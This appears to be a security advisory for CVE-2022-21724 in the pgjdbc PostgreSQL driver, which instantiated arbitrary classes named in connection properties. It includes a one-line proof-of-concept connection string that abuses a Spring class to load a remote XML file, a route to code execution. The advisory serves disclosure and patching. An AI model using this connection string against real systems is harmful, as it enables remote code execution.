pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName
, sslhostnameverifier
, socketFactory
, sslfactory
, sslpasswordcallback
connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here’s an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory
connection property)
github.com/pgjdbc/pgjdbc
github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
lists.debian.org/debian-lts-announce/2022/05/msg00027.html
lists.fedoraproject.org/archives/list/[email protected]/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
nvd.nist.gov/vuln/detail/CVE-2022-21724
security.netapp.com/advisory/ntap-20220311-0005
www.debian.org/security/2022/dsa-5196